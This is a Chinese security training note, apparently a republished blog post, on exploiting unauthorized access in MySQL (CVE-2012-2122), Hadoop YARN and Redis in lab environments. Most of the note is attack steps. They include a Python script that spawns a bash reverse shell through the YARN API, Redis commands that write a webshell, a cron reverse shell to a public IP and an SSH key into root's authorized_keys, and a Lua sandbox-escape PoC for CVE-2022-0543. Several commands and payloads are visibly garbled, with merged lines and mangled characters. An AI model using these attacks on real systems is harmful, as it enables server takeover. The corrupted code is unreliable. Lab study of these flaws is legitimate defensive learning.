网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)

本文主要是介绍网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第54天 服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE

知识点:

1、服务攻防数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
组合猜测(由于nat会导致端口扫描不到真实端口信息)、信息来源(报错、特征)
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传翰&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等
在这里插入图片描述

演示案例:

Mysq-未授权访问-CVE-2012-2122利用
Hadoop-.未授权访问-内置配合命令执行RCE
Redis-未授权访问-Webshelle&任务&密匙&RCE等

Mysq-未授权访问-CVE-2012-2122利用
复现环境:vulhub
在这里插入图片描述

for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

在这里插入图片描述

漏洞复现:

1、vulhub开启漏洞环境
在这里插入图片描述
2、攻击机:kali扫描目标端口并验证
在这里插入图片描述
在这里插入图片描述

Hadoop-未授权访问-内置配合命令执行RCE
复现环境:vulfocus
思路:访问特定

#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞复现:
1、vulhub搭建hadoop漏洞环境
在这里插入图片描述
2、攻击机kali开启nc监听端口,使用exp攻击反弹shell
在这里插入图片描述
#Redis-未授权访问-Webshell&任务&密匙&RCE等
1、写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp
#设置WEB写入目录
config set dbfilename1.php设置写入文件名
set test"c?php phpinfo):?>"#设置写入文件代码
bgsave
#保存执行
save
#保存执行
注意:部分没目录权限读写权限

2、写定时任务反单shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy “ninin*****bash->&/dev/tcp/47.94.236.117/55550>&1nnn”
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱L码,所以导致命令执行失败

3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen-t rsa
cd /root/.ssh/
(echo -e “nin”;cat id_rsa.pub;echo-e"nin")>key.txt
cat key.txt redis-cli-h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized keys
save
cd /root/.ssh/
ssh -i id rsa root@118.31.57.214

4、RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-.master…py-f123.58.236.76-p9830-L47.94.236.117-P8888-f
RedisModulesSDK/exp.so -c “id”

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_I package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”,“luaopen_io”);
local io io_I();local f=io.popen(“id”,“r”);local res f.read(“a”);f:close();return res’o
参考链接:https://blog.csdn.net/qq_40882763/article/details/129742604?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&utm_relevant_index=5
老哥写的很详细,后期我也会逐个复现

这篇关于网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/633888

相关文章

如何搭建并配置HTTPD文件服务及访问权限控制

《如何搭建并配置HTTPD文件服务及访问权限控制》:本文主要介绍如何搭建并配置HTTPD文件服务及访问权限控制的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、安装HTTPD服务二、HTTPD服务目录结构三、配置修改四、服务启动五、基于用户访问权限控制六、

SpringCloud整合MQ实现消息总线服务方式

《SpringCloud整合MQ实现消息总线服务方式》:本文主要介绍SpringCloud整合MQ实现消息总线服务方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、背景介绍二、方案实践三、升级版总结一、背景介绍每当修改配置文件内容,如果需要客户端也同步更新,

linux服务之NIS账户管理服务方式

《linux服务之NIS账户管理服务方式》:本文主要介绍linux服务之NIS账户管理服务方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、所需要的软件二、服务器配置1、安装 NIS 服务2、设定 NIS 的域名 (NIS domain name)3、修改主

NGINX 配置内网访问的实现步骤

《NGINX配置内网访问的实现步骤》本文主要介绍了NGINX配置内网访问的实现步骤,Nginx的geo模块限制域名访问权限,仅允许内网/办公室IP访问,具有一定的参考价值,感兴趣的可以了解一下... 目录需求1. geo 模块配置2. 访问控制判断3. 错误页面配置4. 一个完整的配置参考文档需求我们有一

C#实现访问远程硬盘的图文教程

《C#实现访问远程硬盘的图文教程》在现实场景中,我们经常用到远程桌面功能,而在某些场景下,我们需要使用类似的远程硬盘功能,这样能非常方便地操作对方电脑磁盘的目录、以及传送文件,这次我们将给出一个完整的... 目录引言一. 远程硬盘功能展示二. 远程硬盘代码实现1. 底层业务通信实现2. UI 实现三. De

python通过curl实现访问deepseek的API

《python通过curl实现访问deepseek的API》这篇文章主要为大家详细介绍了python如何通过curl实现访问deepseek的API,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编... API申请和充值下面是deepeek的API网站https://platform.deepsee

Nginx 访问 /root/下 403 Forbidden问题解决

《Nginx访问/root/下403Forbidden问题解决》在使用Nginx作为Web服务器时,可能会遇到403Forbidden错误,文中通过示例代码介绍的非常详细,对大家的学习或者工作... 目录解决 Nginx 访问 /root/test/1.html 403 Forbidden 问题问题复现Ng

SpringBoot基于配置实现短信服务策略的动态切换

《SpringBoot基于配置实现短信服务策略的动态切换》这篇文章主要为大家详细介绍了SpringBoot在接入多个短信服务商(如阿里云、腾讯云、华为云)后,如何根据配置或环境切换使用不同的服务商,需... 目录目标功能示例配置(application.yml)配置类绑定短信发送策略接口示例:阿里云 & 腾

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

springboot项目如何开启https服务

《springboot项目如何开启https服务》:本文主要介绍springboot项目如何开启https服务方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录springboot项目开启https服务1. 生成SSL证书密钥库使用keytool生成自签名证书将